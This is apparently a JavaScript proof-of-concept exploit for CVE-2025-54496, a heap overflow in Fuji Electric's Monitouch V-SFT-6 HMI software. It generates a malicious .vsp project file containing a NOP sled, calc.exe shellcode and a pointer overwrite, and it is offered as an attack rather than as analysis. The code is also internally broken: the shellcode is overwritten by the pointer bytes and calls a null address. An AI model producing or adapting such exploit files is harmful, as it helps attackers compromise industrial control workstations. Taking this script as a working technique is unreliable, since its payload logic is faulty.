// CVE-2025-54496 PoC - Malicious Project File Generator
// Target: Fuji Electric Monitouch V-SFT-6
// Vulnerability: Heap-based Buffer Overflow
const fs = require('fs');
// V-SFT-6 project file header structure
const PROJECT_HEADER = Buffer.alloc(64);
PROJECT_HEADER.write('VSFT', 0, 4, 'ascii'); // Magic bytes
PROJECT_HEADER.writeUInt32LE(0x0006, 4); // Version 6
PROJECT_HEADER.writeUInt32LE(0x0100, 8); // File format version
// Craft malicious payload to trigger heap overflow
// EIP control via overflow of heap buffer
const HEAP_OVERFLOW_SIZE = 1024;
const MALICIOUS_PAYLOAD = Buffer.alloc(HEAP_OVERFLOW_SIZE);
// Fill with NOP sled
MALICIOUS_PAYLOAD.fill(0x90, 0, HEAP_OVERFLOW_SIZE - 16);
// Shellcode for code execution (calc.exe)
const SHELLCODE = Buffer.from([
0x90, 0x90, // NOP
0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, 0
0x50, // push eax
0x68, 0x2E, 0x65, 0x78, 0x65, // push 'exe.'
0x68, 0x63, 0x61, 0x6C, 0x63, // push 'calc'
0x54, // push esp
0x50, // push eax
0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, 0
0xFF, 0xD0 // call eax
]);
SHELLCODE.copy(MALICIOUS_PAYLOAD, HEAP_OVERFLOW_SIZE - 16);
// Overwrite pointer to control EIP
const EIP_OVERWRITE = Buffer.alloc(16);
EIP_OVERWRITE.writeUInt32LE(0x41414141, 0); // Overwrite pointer
EIP_OVERWRITE.copy(MALICIOUS_PAYLOAD, HEAP_OVERFLOW_SIZE - 16);
// Combine all parts
const pocFile = Buffer.concat([PROJECT_HEADER, MALICIOUS_PAYLOAD]);
// Save malicious project file
fs.writeFileSync('CVE-2025-54496_malicious.vsp', pocFile);
console.log('PoC file created: CVE-2025-54496_malicious.vsp');
console.log('File size:', pocFile.length, 'bytes');